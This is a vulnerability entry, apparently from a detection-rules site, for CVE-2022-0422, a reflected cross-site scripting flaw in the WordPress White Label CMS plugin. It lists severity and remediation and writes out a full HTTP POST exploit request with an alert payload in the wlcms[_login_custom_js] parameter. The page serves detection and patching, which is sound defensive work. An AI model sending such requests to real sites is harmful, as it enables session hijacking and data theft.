🔙 목록으로 돌아가기

CVE-2022-0422: WordPress White Label CMS <2.2.9 - Cross-Site Scripting

TitleWordPress White Label CMS <2.2.9 - Cross-Site Scripting
Authorrandom-robbie
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to WordPress White Label CMS plugin version 2.2.9 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.08413
CVE IDCVE-2022-0422
CWE IDCWE-79
Tags cve2022 cve wordpress xss wp-plugin wpscan videousermanuals vuln

🔍 Vulnerability Description

WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing.

🌐 HTTP Request

POST /wp-login.php?wlcms-action=preview HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0422.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0422.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A